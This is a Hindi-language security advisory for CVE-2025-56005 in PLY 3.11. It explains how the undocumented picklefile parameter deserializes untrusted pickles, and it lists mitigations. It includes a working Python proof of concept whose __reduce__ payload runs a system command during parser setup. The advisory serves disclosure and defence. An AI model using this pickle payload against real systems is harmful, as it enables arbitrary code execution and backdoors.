अपडेट पर वापस जाएँ
UpdatedSep 2, 2026

Undocumented-RCE-in-PLY — Updated!

`picklefile` पैरामीटर के माध्यम से PLY में अप्रलेखित RCE

साझा करें

PLY CVE‑2025‑56005 में अप्रलेखित रिमोट कोड एक्ज़ीक्यूशन

CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

सारांश

PyPI‑वितरित संस्करण PLY 3.11 में एक अप्रलेखित और असुरक्षित सुविधा मनमाना कोड निष्पादन की अनुमति देती है जब yacc() फ़ंक्शन को picklefile पैरामीटर के साथ आमंत्रित किया जाता है।

picklefile पैरामीटर PLY को Python के pickle.load() का उपयोग करके सत्यापन के बिना एक .pkl फ़ाइल को डीसेरियलाइज़ करने का कारण बनता है। चूंकि Python का pickle मॉड्यूल डीसेरियलाइज़ेशन के दौरान मनमाना कोड के निष्पादन का समर्थन करता है (उदाहरण के लिए, __reduce__() के माध्यम से), एक हमलावर जो आपूर्त की गई पिकल फ़ाइल को नियंत्रित कर सकता है, पार्सर आरंभीकरण के दौरान मनमाना कोड निष्पादित कर सकता है।

यह पैरामीटर आधिकारिक PLY दस्तावेज़ीकरण या GitHub रिपॉजिटरी में प्रलेखित नहीं है, फिर भी यह PyPI रिलीज़ में सक्रिय है।


प्रभाव

हमलावर yacc(picklefile=...) को पास की गई .pkl फ़ाइल को नियंत्रित, प्रतिस्थापित या प्रभावित कर सकता है, तो वे प्राप्त कर सकते हैं:

  • मनमाना कोड निष्पादन
  • एप्लिकेशन स्टार्टअप के दौरान निष्पादन
  • किसी भी पार्सिंग लॉजिक तक पहुंचने से पहले कोड निष्पादन

यह उन एप्लिकेशनों को प्रभावित कर सकता है जो पार्सर तालिकाओं को इनसे लोड करते हैं:

  • कैश्ड स्थान
  • साझा निर्देशिकाएँ
  • CI/CD पाइपलाइन
  • कॉन्फ़िगर करने योग्य या लिखने योग्य पथ

🔍 भेद्यता विवरण

  • भेद्यता प्रकार: मनमाना कोड निष्पादन
  • हमला प्रकार: संदर्भ‑निर्भर
  • हमला वेक्टर: हमलावर‑नियंत्रित पिकल फ़ाइल का असुरक्षित डीसेरियलाइज़ेशन
  • प्रभाव: कोड निष्पादन
  • CWE: CWE‑502 (अविश्वसनीय डेटा का डीसेरियलाइज़ेशन)

प्रभावित कार्यक्षमता

  • ply.yacc.yacc(picklefile=...)
  • ply/yacc.py में LRTable.read_pickle()

अतिरिक्त जानकारी (संदर्भ और जोखिम)

यह भेद्यता अपनी गुप्त प्रकृति और स्थायित्व की क्षमता के कारण उच्च जोखिम प्रस्तुत करती है।

picklefile पैरामीटर आधिकारिक PLY दस्तावेज़ीकरण और GitHub रिपॉजिटरी में अप्रलेखित है। हालाँकि, PLY 3.11 का PyPI‑वितरित संस्करण इस कार्यक्षमता को शामिल करता है और आपूर्त की गई फ़ाइल को सत्यापन के बिना pickle.load() का उपयोग करके संसाधित करता है।

चूंकि Python का pickle मॉड्यूल डीसेरियलाइज़ेशन के दौरान एम्बेडेड कोड के निष्पादन की अनुमति देता है, एक दुर्भावनापूर्ण पिकल फ़ाइल पार्सर सेटअप के दौरान, किसी भी पार्सिंग लॉजिक के आमंत्रित होने से पहले मनमाना कोड निष्पादित कर सकती है।

लेखन के समय, अनुरक्षक ने इस व्यवहार को सार्वजनिक रूप से स्वीकार नहीं किया है।

इस कार्यक्षमता का दुरुपयोग स्थायी बैकडोर पेश करने के लिए किया जा सकता है, विशेष रूप से उन वातावरणों में जहाँ पार्सर तालिका फ़ाइलें:

  • डिस्क पर कैश्ड होती हैं
  • उपयोगकर्ताओं या सेवाओं के बीच साझा की जाती हैं
  • CI/CD पाइपलाइनों में उत्पन्न या पुन: उपयोग की जाती हैं
  • कॉन्फ़िगर करने योग्य या लिखने योग्य पथों से लोड की जाती हैं

दस्तावेज़ीकरण की कमी, मौन निष्पादन पथ, और असुरक्षित डीसेरियलाइज़ेशन के उच्च प्रभाव को देखते हुए, जागरूकता बढ़ाने और डाउनस्ट्रीम उपयोगकर्ताओं की सुरक्षा के लिए CVE असाइनमेंट उचित है।


प्रूफ ऑफ कॉन्सेप्ट (PoC)

यह प्रूफ ऑफ कॉन्सेप्ट प्रदर्शित करता है कि जब अप्रलेखित picklefile पैरामीटर के माध्यम से एक दुर्भावनापूर्ण पिकल फ़ाइल आपूर्त की जाती है तो मनमाना कोड निष्पादन होता है।

PoC अवलोकन

PoC:

  • एक न्यूनतम लेक्सर और पार्सर परिभाषित करता है
  • एक दुर्भावनापूर्ण पिकल पेलोड तैयार करता है
  • डीसेरियलाइज़ेशन के दौरान एक सिस्टम कमांड निष्पादित करता है

अपेक्षित परिणाम

जब yacc(picklefile='exploit.pkl') आमंत्रित किया जाता है, तो पार्सर आरंभीकरण के दौरान मनमाना कोड निष्पादित होता है।

import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')

शमन

  • अविश्वसनीय या बाहरी रूप से लिखने योग्य फ़ाइलों के साथ picklefile पैरामीटर का उपयोग न करें
  • उपयोगकर्ता‑नियंत्रित स्थानों से पार्सर तालिकाओं को लोड करने से बचें
  • सभी पिकल फ़ाइलों को असुरक्षित इनपुट के रूप में मानें
  • डिस्क से लोड करने के बजाय पार्सर तालिकाओं को पुन: उत्पन्न करना पसंद करें

संदर्भ

श्रेणियाँ